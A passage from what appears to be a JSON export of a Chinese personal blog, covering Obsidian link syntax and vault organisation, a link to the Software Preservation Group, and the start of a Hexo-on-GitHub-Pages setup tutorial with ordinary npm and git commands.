Name]]\u003c/code\u003e\u003c/li\u003e\u003cli\u003e块引用:\u003ccode\u003e[[Note Name ^]]\u003c/code\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"超链接语法-双向链接\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/12/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%88%91%E7%9A%84%E7%9F%A5%E8%AF%86%E5%BA%93%E7%AE%A1%E7%90%86%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/#%E8%B6%85%E9%93%BE%E6%8E%A5%E8%AF%AD%E6%B3%95-%E5%8F%8C%E5%90%91%E9%93%BE%E6%8E%A5\" class=\"headerlink\" title=\"超链接语法 - 双向链接\"\u003e\u003c/a\u003e超链接语法 - 双向链接\u003c/h4\u003e\u003cp\u003e「双向链接」的语法为\u003ccode\u003e[[Note Name]]\u003c/code\u003e,在前文中已经简单介绍过它的使用,下边是关于「双向链接」的详细介绍。\u003c/p\u003e\u003cp\u003e「双向链接」指的是在笔记 A 中通过输入 \u003ccode\u003e[[笔记 B]]\u003c/code\u003e 后,使得笔记 A 和笔记 B 建立了链接关系,如下:\u003c/p\u003e\u003cp\u003e在笔记A 中可以看到它和 \u003ccode\u003e[[笔记 B]]\u003c/code\u003e 有关系,同时在笔记 A的「预览模式」下,鼠标经过\u003ccode\u003e[[笔记 B]]\u003c/code\u003e 时,可以弹出笔记 B 的「缩略视图」,同时点击 \u003ccode\u003e[[笔记 B]]\u003c/code\u003e 后也可以打开笔记 B的编辑页面。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://cdn.sspai.com/editor/u_5b3wva6y/16046439513451.png?imageView2/2/w/1120/q/90/interlace/1/ignore-error/1\"/\u003e\u003c/p\u003e\u003cp\u003ePS:想要看到笔记 B 的「缩略视图」需要开启「Page Preview」插件。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://cdn.sspai.com/editor/u_5b3wva6y/16046439513461.png?imageView2/2/w/1120/q/90/interlace/1/ignore-error/1\"/\u003e\u003c/p\u003e\u003cp\u003e在笔记 B 中可以通过「Backlinks For 笔记B」看到都有哪些笔记和自己建立过「双向链接」。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://cdn.sspai.com/editor/u_5b3wva6y/16046439513472.png?imageView2/2/w/1120/q/90/interlace/1/ignore-error/1\"/\u003e\u003c/p\u003e\u003cp\u003ePS:「Backlinks For 笔记B」的打开方式常用的方法有两种,通过快捷键或者菜单按钮。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://cdn.sspai.com/editor/u_5b3wva6y/16046439513485.png?imageView2/2/w/1120/q/90/interlace/1/ignore-error/1\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://cdn.sspai.com/editor/u_5b3wva6y/16046439513496.png?imageView2/2/w/1120/q/90/interlace/1/ignore-error/1\"/\u003e\u003c/p\u003e\u003ch4 id=\"超链接语法-话题引用\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/12/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%88%91%E7%9A%84%E7%9F%A5%E8%AF%86%E5%BA%93%E7%AE%A1%E7%90%86%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/#%E8%B6%85%E9%93%BE%E6%8E%A5%E8%AF%AD%E6%B3%95-%E8%AF%9D%E9%A2%98%E5%BC%95%E7%94%A8\" class=\"headerlink\" title=\"超链接语法 - 话题引用\"\u003e\u003c/a\u003e超链接语法 - 话题引用\u003c/h4\u003e\u003cp\u003e在 Obsidian 中,由于 Obsidian 支持 Markdown 标记,我把用 \u003ccode\u003e#\u003c/code\u003e 标记的内容称为「话题」,如下图,「### English」和「### Chinese」就是两个「话题」: \u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://cdn.sspai.com/editor/u_5b3wva6y/16046439513507.png?imageView2/2/w/1120/q/90/interlace/1/ignore-error/1\"/\u003e\u003c/p\u003e\u003cp\u003e话题引用的语法是\u003ccode\u003e[[Note Name #header]]\u003c/code\u003e,即在使用「双向链接」的时候,我们可以在输入的「笔记名称」后边输入笔记中的「话题」,这种「双向链接」的添加方式称为「话题引用」如图:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://cdn.sspai.com/editor/u_5b3wva6y/16046439513518.png?imageView2/2/w/1120/q/90/interlace/1/ignore-error/1\"/\u003e\u003c/p\u003e\u003cp\u003e「话题引用」带来的好处是,当我们在「预览模式」下,鼠标经过「双向链接」时,弹出的「缩略视图」中只展示 \u003ccode\u003e#话题\u003c/code\u003e 所包含的内容(最新版本不再展示全文),并且点击「双向链接」也会直接跳转到对应的话题所在行。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://cdn.sspai.com/editor/u_5b3wva6y/16046439513529.png?imageView2/2/w/1120/q/90/interlace/1/ignore-error/1\"/\u003e\u003c/p\u003e\u003ch4 id=\"超链接语法-别名引用\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/12/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%88%91%E7%9A%84%E7%9F%A5%E8%AF%86%E5%BA%93%E7%AE%A1%E7%90%86%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/#%E8%B6%85%E9%93%BE%E6%8E%A5%E8%AF%AD%E6%B3%95-%E5%88%AB%E5%90%8D%E5%BC%95%E7%94%A8\" class=\"headerlink\" title=\"超链接语法 - 别名引用\"\u003e\u003c/a\u003e超链接语法 - 别名引用\u003c/h4\u003e\u003cp\u003e别名引用的语法是\u003ccode\u003e[[Note Name | Alias]]\u003c/code\u003e,即在使用「双向链接」的时候,我们可以在输入的「笔记名称」后边输入一个「别名」,这种「双向链接」的添加方式称为「别名引用」。 \u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://cdn.sspai.com/editor/u_5b3wva6y/16046439513540.png?imageView2/2/w/1120/q/90/interlace/1/ignore-error/1\"/\u003e\u003c/p\u003e\u003cp\u003e别名引用带来的好处是,可以更准确的「表述」我们在原笔记中输入「双向链接」时想表达的意思。\u003c/p\u003e\u003ch4 id=\"超链接语法-嵌入引用\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/12/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%88%91%E7%9A%84%E7%9F%A5%E8%AF%86%E5%BA%93%E7%AE%A1%E7%90%86%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/#%E8%B6%85%E9%93%BE%E6%8E%A5%E8%AF%AD%E6%B3%95-%E5%B5%8C%E5%85%A5%E5%BC%95%E7%94%A8\" class=\"headerlink\" title=\"超链接语法 - 嵌入引用\"\u003e\u003c/a\u003e超链接语法 - 嵌入引用\u003c/h4\u003e\u003cp\u003e嵌入引用的语法\u003ccode\u003e![[Note Name]]\u003c/code\u003e,即在使用「双向链接」的时候,我们可以在「双向链接」前边输入一个\u003ccode\u003e!\u003c/code\u003e(叹号),这种「双向链接」的添加方式称为「嵌入引用」。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://cdn.sspai.com/editor/u_5b3wva6y/16046439513552.png?imageView2/2/w/1120/q/90/interlace/1/ignore-error/1\"/\u003e\u003c/p\u003e\u003cp\u003e嵌入引用带来的好处是,我们无需跳转,直接在原笔记中查看到被引入的「新笔记」。\u003c/p\u003e\u003ch4 id=\"超链接语法-块引用\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/12/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%88%91%E7%9A%84%E7%9F%A5%E8%AF%86%E5%BA%93%E7%AE%A1%E7%90%86%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/#%E8%B6%85%E9%93%BE%E6%8E%A5%E8%AF%AD%E6%B3%95-%E5%9D%97%E5%BC%95%E7%94%A8\" class=\"headerlink\" title=\"超链接语法 - 块引用\"\u003e\u003c/a\u003e超链接语法 - 块引用\u003c/h4\u003e\u003cp\u003e块引用的语法 \u003ccode\u003e[[Note Name ^]]\u003c/code\u003e ,既在使用「双向链接」的时候,我们可以在「双向链接」的后边输入 \u003ccode\u003e^\u003c/code\u003e ,此时我们可以将被链接的笔记中的某一行(包括它的从属段落)引入到当前笔记中。这种方式成为「块引用」。\u003c/p\u003e\u003cp\u003e块引用带来的好处是,我们可以将一篇笔记中的「某个段落」引入到当前笔记中,结合「别名引用」更容易帮我们表达它的意思,如图:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://cdn.sspai.com/editor/u_5b3wva6y/16046439513563.png?imageView2/2/w/1120/q/90/interlace/1/ignore-error/1\"/\u003e\u003c/p\u003e\u003cp\u003e通过上面的说明,对于双链的使用应该已经熟悉了。接下来就是笔记库了。\u003c/p\u003e\u003ch3 id=\"笔记库结构\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/12/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%88%91%E7%9A%84%E7%9F%A5%E8%AF%86%E5%BA%93%E7%AE%A1%E7%90%86%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/#%E7%AC%94%E8%AE%B0%E5%BA%93%E7%BB%93%E6%9E%84\" class=\"headerlink\" title=\"笔记库结构\"\u003e\u003c/a\u003e笔记库结构\u003c/h3\u003e\u003cp\u003e大概可以分为下面几个部分。\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e临时库\u003c/strong\u003e。用于存储随手摘录的内容以及灵感\u003c/li\u003e\u003cli\u003e草稿库。专门存放写作中的内容,一篇文章完成后就可将其移动到正式库中\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e正式库\u003c/strong\u003e。用于成体系地存放所有知识,会持续内增长,也就是信息的重组和聚合\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e归档库\u003c/strong\u003e。用于存放已经确认不会再有变化/失去维护兴趣的内容\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e临时库可以专门用Obsidian建立一个,也可以用其他地方,比如手机备忘录,浏览器收藏夹,这些都是可用的收集箱。\u003c/p\u003e\u003cp\u003e草稿库就是字面意思,放草稿用的。更准确的说,应该是一切进行中的内容。比如要写一篇关于计算机视觉的介绍文章,就可以在其中起草一篇文章,然后通过剪藏的内容完成写作。\u003c/p\u003e\u003cp\u003e正式库,也是最重要的库。它里面放置的内容应当是写作完成的信息,完整且高内聚低耦合的知识条目。对于其中的内容,我们应当持续维护。这里的维护就好比小根堆大根堆的维护,我们需要确定大多数时候其内容都应该按照树状/网状和其他内容相关联。维护的过程,就是复习和思考的过程。另外,正式库也可以按照自己的需求分为多个库,比如作为我,就会把计算机科学作为单独的一个主库,把数理等基础学科作为另一个单独的主库。这样在复习时,能保证一定的一致性和连贯性。\u003c/p\u003e\u003cp\u003e最后,是归档库。这么说来似乎不太好理解,但是可以类比成我们自己的思维周期:首先是接受零散信息,然后是逐渐组织起来自己的知识体系,然后对于一些不再关心的,过期的记忆,我们会选择把它“遗忘”——也可能是放在我们平时难以想起的地方。这么看来,这种知识管理方式,实际上相当符合我们的认知规律。另外如若接触过GitHub,对于归档(Archive)一词应当不陌生。它一般发生在仓库没有维护必要/维护者失去精力或者兴趣的时候。所以这实际上也可以看作是一种对于精力的节约?\u003c/p\u003e\u003cp\u003e借助这一套模式,我们可以更有条理地管理我们的毕生知识。\u003c/p\u003e\u003cp\u003e这几个库的管理我都借助Obsidian完成。因为几个目录中的内容并不会重复,我就只是在同一个笔记库中用几个不同的文件夹区分开了。\u003c/p\u003e\u003cp\u003e![[Screenshot_20221214_003838.jpg]]\u003c/p\u003e\u003cp\u003e下面三个中的img是图片附件文件夹,另外两个忽略。上面四个分别是归档,草稿,剪藏和正式库。\u003c/p\u003e\u003ch2 id=\"0x04-第二大脑\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/12/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%88%91%E7%9A%84%E7%9F%A5%E8%AF%86%E5%BA%93%E7%AE%A1%E7%90%86%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/#0x04-%E7%AC%AC%E4%BA%8C%E5%A4%A7%E8%84%91\" class=\"headerlink\" title=\"0x04.第二大脑\"\u003e\u003c/a\u003e0x04.第二大脑\u003c/h2\u003e\u003cp\u003e这词就是这软件一直在标榜的。事实上它确实很像一个第二大脑。它可以帮我们高效率地回顾整理知识系统,让思考更有逻辑,更有迹可循。\u003c/p\u003e\u003cp\u003e这部分,我会从我的经验来说说用这个软件如何进行复习和思考。\u003c/p\u003e\u003ch3 id=\"学习\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/12/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%88%91%E7%9A%84%E7%9F%A5%E8%AF%86%E5%BA%93%E7%AE%A1%E7%90%86%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/#%E5%AD%A6%E4%B9%A0\" class=\"headerlink\" title=\"学习\"\u003e\u003c/a\u003e学习\u003c/h3\u003e\u003cp\u003e这个还是再说一下吧,利用黑曜石的学习其实就是\u003cstrong\u003e把剪藏的内容整理合并提取转换成一篇文章\u003c/strong\u003e,这产出就对应一个知识点。在这个过程中,双链不一定是必须项。比如在进行一个新领域的学习时,刚开始在现有体系中几乎没有关联项,这是正常的。当然,也可以反过来用这种方法,写作时,遇到陌生名词直接用双链标注出来,之后再创建对应条目进行学习。以此可以快速构建一个新的知识体系。\u003c/p\u003e\u003ch3 id=\"复习\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/12/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%88%91%E7%9A%84%E7%9F%A5%E8%AF%86%E5%BA%93%E7%AE%A1%E7%90%86%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/#%E5%A4%8D%E4%B9%A0\" class=\"headerlink\" title=\"复习\"\u003e\u003c/a\u003e复习\u003c/h3\u003e\u003cp\u003e\u003cdel\u003e为了衬托所以提一下\u003c/del\u003e一般的笔记软件记下的东西基本都是浩如烟海,一个列表就展示完所有内容。当然,你也可能建几个文件夹,然后把一堆东西分成几堆放。在复习的时候,如果能一篇接着一篇笔记的看倒是还好,但是没有整理的话就难说了,光是笔记之间的跳跃性和非关联性就是能让你丧失复习意志力。如果是手写的整本电子笔记的话,进行顺序复习体验应该是最好的。\u003c/p\u003e\u003cp\u003e下面说说用黑曜石怎么复习。\u003c/p\u003e\u003cp\u003e黑曜石的数据以Markdown文件存储,只要在库目录中,嵌套文件夹就不影响结构。所以可以在知识图谱上把同类项全部移动到相同目录中,利用树状结构组织笔记。在线性复习时这帮助很大。我们也可以用图谱进行非线性的关联式复习,打开图谱,从一个节点开始,进行广度优先复习。这样的启发式复习或许能提高记忆的关联性,从而帮助记忆。\u003c/p\u003e\u003ch3 id=\"思考\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/12/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%88%91%E7%9A%84%E7%9F%A5%E8%AF%86%E5%BA%93%E7%AE%A1%E7%90%86%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/#%E6%80%9D%E8%80%83\" class=\"headerlink\" title=\"思考\"\u003e\u003c/a\u003e思考\u003c/h3\u003e\u003cp\u003e思维过程本质是冲动在神经元间的传递。同理,黑曜石也可以做到。通过知识图谱,能看到关联知识,并思考其关系。同时,对于二级关联节点,以至于三级关联节点,我们也可以思考其和主节点的关系,在这过程中,对链接/文档进行重组,产生新的知识和关系结构。这种思考能让知识库更有规律和秩序,也能让我们进行有效学习。\u003c/p\u003e\u003ch3 id=\"应用\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/12/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%88%91%E7%9A%84%E7%9F%A5%E8%AF%86%E5%BA%93%E7%AE%A1%E7%90%86%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/#%E5%BA%94%E7%94%A8\" class=\"headerlink\" title=\"应用\"\u003e\u003c/a\u003e应用\u003c/h3\u003e\u003cp\u003e用自己的知识库去尝试解决问题。根据结果进行主库的维护和修正。遇到问题时,可以在库中搜索关键词,看看关联概念能否提供解决思路。比如我要写一篇人工智能在学习中的应用,就可以在知识图谱中找到人工智能的相关节点,按照广度优先的顺序对其他节点进行联想,借助这种方法找到写作的思路。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/12/12/%E6%96%87%E5%AD%A6/%E6%9D%82%E8%B0%88/%E6%88%91%E7%9A%84%E7%9F%A5%E8%AF%86%E5%BA%93%E7%AE%A1%E7%90%86%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/"},{"title":"Software Preservation Group","time":"2022-11-25T03:39:58Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e\u003ca href=\"https://www.softwarepreservation.org/\"\u003eHomePage\u003c/a\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/11/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Software%20Preservation%20Group/"},{"title":"GitHub博客搭建","time":"2022-11-25T03:35:50Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e编辑 打算加一部分讲怎么更简洁地部署博客的教程。现在GitHub Actions已经很好用了,完全可以用它进一步简化博客部署步骤\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e博客站点是一种个人日志记录站点,也是Web1.0-2.0时代撑起互联网主体的重要部分之一。如今虽然它被各大APP不断挤占生存空间,但是它依旧重要:一篇高质量的博文,往往能够成为无数后人解决一个问题的宝贵参考资料。\u003c/p\u003e\u003cp\u003e对于个人而言,如何去写它,利用它由你决定。你可以用它宣传自己,可以把它当作自己的读书笔记甚至课程笔记,也可以用它去记录生活中的时时刻刻。你写出的内容,永远属于你,也可为你所用。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e为了防止现场网速太拉,建议大家提前完成下面的准备工作\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"准备工作\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/GitHub%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/#%E5%87%86%E5%A4%87%E5%B7%A5%E4%BD%9C\" class=\"headerlink\" title=\"准备工作\"\u003e\u003c/a\u003e准备工作\u003c/h2\u003e\u003ch3 id=\"软件安装\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/GitHub%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/#%E8%BD%AF%E4%BB%B6%E5%AE%89%E8%A3%85\" class=\"headerlink\" title=\"软件安装\"\u003e\u003c/a\u003e软件安装\u003c/h3\u003e\u003cp\u003e首先需要在电脑上准备好用来写博客\u0026amp;生成静态站点的工具。需要在电脑上安装这些软件:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://npmmirror.com/mirrors/node/v18.12.1/node-v18.12.1-x64.msi\"\u003enode.js(点击下载)\u003c/a\u003e 它是我们安装hexo的工具\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://registry.npmmirror.com/-/binary/git-for-windows/v2.39.0.windows.2/Git-2.39.0.2-64-bit.exe\"\u003egit(点击下载)\u003c/a\u003e 我们用它向GitHub推送我们生成的静态站\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e上面的链接如果下不了,也可以看群文件or自己搜\u003c/p\u003e\u003cp\u003e注意:\u003cstrong\u003e安装node.js的时候,一定保证下图的\u003ccode\u003eAdd to PATH\u003c/code\u003e是确认的。\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221125-112418.png\" alt=\"(*/ω\*)\"/\u003e\u003c/p\u003e\u003cp\u003e装好node.js之后,我们需要在电脑上安装\u003cstrong\u003ehexo\u003c/strong\u003e,这是生成博客站点的核心工具。\u003c/p\u003e\u003cp\u003e用\u003ccode\u003eWin+R\u003c/code\u003e键打开运行,输入\u003ccode\u003ecmd\u003c/code\u003e并回车,在随后弹出来的黑框框中输入下面的指令:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003enpm install hexo-cli -g\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果网速太慢,可以用下面的指令:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003enpm --registry https://registry.npm.taobao.org install hexo-cli -g\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221125-112056.png\" alt=\"我装过了所以没有提示\"/\u003e\u003c/p\u003e\u003cp\u003e如果输出内容没有红底的\u003ccode\u003eERR\u003c/code\u003e,就说明装好了。\u003c/p\u003e\u003ch3 id=\"GitHub账号注册\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/GitHub%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/#GitHub%E8%B4%A6%E5%8F%B7%E6%B3%A8%E5%86%8C\" class=\"headerlink\" title=\"GitHub账号注册\"\u003e\u003c/a\u003eGitHub账号注册\u003c/h3\u003e\u003cp\u003e之后,我们还需要在GitHub上注册一个账号。\u003ca href=\"https://github.com/\"\u003e点击此处前往\u003c/a\u003e\u003c/p\u003e\u003cp\u003e在主页上找到Sign Up按钮,点击之后按照注册流程即可。\u003cstrong\u003e用户名和邮箱是重要信息,后面会用到\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221125-111839.png\" alt=\"或者中间那个也行\"/\u003e\u003c/p\u003e\u003cp\u003e随后我们还需要安装一个MarkDown编辑器,或者装了VS Code也可以用VS Code代替。\u003c/p\u003e\u003cp\u003e推荐几个 MarkDown 编辑器:Typora、Obsidian\u003c/p\u003e\u003ch2 id=\"开始搭建-ver-1\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/GitHub%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/#%E5%BC%80%E5%A7%8B%E6%90%AD%E5%BB%BA-ver-1\" class=\"headerlink\" title=\"开始搭建(ver.1)\"\u003e\u003c/a\u003e开始搭建(ver.1)\u003c/h2\u003e\u003ch3 id=\"初始化博客目录\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/GitHub%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/#%E5%88%9D%E5%A7%8B%E5%8C%96%E5%8D%9A%E5%AE%A2%E7%9B%AE%E5%BD%95\" class=\"headerlink\" title=\"初始化博客目录\"\u003e\u003c/a\u003e初始化博客目录\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e\u003cem\u003e如何用cmd切换到对应文件夹\u003c/em\u003e:你可以在文件管理器里打开你的博客目录,然后在地址栏里输入\u003ccode\u003ecmd\u003c/code\u003e并回车,就像下面这样:\u003cbr/\u003e\u003cimg src=\"https://xeonds.github.io/img/20221127-182556.png\" alt=\"QAQ\"/\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e首先,\u003cstrong\u003e新建一个存放博文的文件夹\u003c/strong\u003e,例如我是放在\u003ccode\u003eC:/Users/[我的用户名]/blog/\u003c/code\u003e下的,你们也可以放在其他目录,比如\u003ccode\u003eD:/blog\u003c/code\u003e。创建对应的文件夹,并在那个目录打开\u003ccode\u003ecmd\u003c/code\u003e(参考上面的说明)(\u003cstrong\u003e这个cmd别关,别关,别关,后面大多数操作都会用它\u003c/strong\u003e)\u003c/p\u003e\u003cp\u003e然后,在\u003ccode\u003ecmd\u003c/code\u003e中,运行\u003ccode\u003ehexo init\u003c/code\u003e初始化博客仓库。这个过程可能比较缓慢,失败或者卡住不动的话可以按\u003ccode\u003eCtrl+C\u003c/code\u003e停止多试几次\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e像这样就完成了\u003cbr/\u003e\u003cimg src=\"https://xeonds.github.io/img/20221127-184326.png\" alt=\"Warning什么的无视就好了\"/\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e此外,还需要安装下面的工具。在同一个框里继续输入就好了:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003enpm i hexo-deployer-git \u003cspan class=\"comment\"\u003e# git推送插件\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003enpm i hexo-server \u003cspan class=\"comment\"\u003e# 本地预览插件\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003enpm i hexo-generator-feed \u003cspan class=\"comment\"\u003e# RSS文件生成插件\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221127-184500.png\" alt=\"这样就没有问题了,嗯\"/\u003e\u003c/p\u003e\u003ch3 id=\"建立仓库\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/GitHub%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/#%E5%BB%BA%E7%AB%8B%E4%BB%93%E5%BA%93\" class=\"headerlink\" title=\"建立仓库\"\u003e\u003c/a\u003e建立仓库\u003c/h3\u003e\u003cp\u003e在GitHub上建立仓库,**名称必须是\u003ccode\u003eusername.github.io\u003c/code\u003e**,其中,\u003ccode\u003eusername\u003c/code\u003e是你的用户名,其余选项默认即可,如下图所示(我已经创建过了所以会标红)。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020221127193522.png\"/\u003e\u003c/p\u003e\u003cp\u003e接着,还是在上面的命令行窗口中,输入下面的指令:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egit config --global user.name \u003cspan class=\"string\"\u003e\u0026#34;[username]\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003egit config --global user.email \u003cspan class=\"string\"\u003e\u0026#34;[email]\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e把上面的\u003ccode\u003e[username]\u003c/code\u003e和\u003ccode\u003e[email]\u003c/code\u003e换成你的GitHub用户名和注册邮箱即可。\u003c/p\u003e\u003ch3 id=\"配置远程推送\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/25/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/GitHub%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA/#%E9%85%8D%E7%BD%AE%E8%BF%9C%E7%A8%8B%E6%8E%A8%E9%80%81\" class=\"headerlink\" title=\"配置远程推送\"\u003e\u003c/a\u003e配置远程推送\u003c/h3\u003e\u003cp\u003e完成后,打开博客文件夹,打开\u003ccode\u003e_config.yml\u003c/code\u003e并翻到最底下:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/20221127-184838.png\" alt=\"就是框选的部分\"/\u003e\u003c/p\u003e\u003cp\u003e把这部分用下面的部分覆盖:\u003c/p\u003e\u003cfigure class=\"highlight yaml\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd 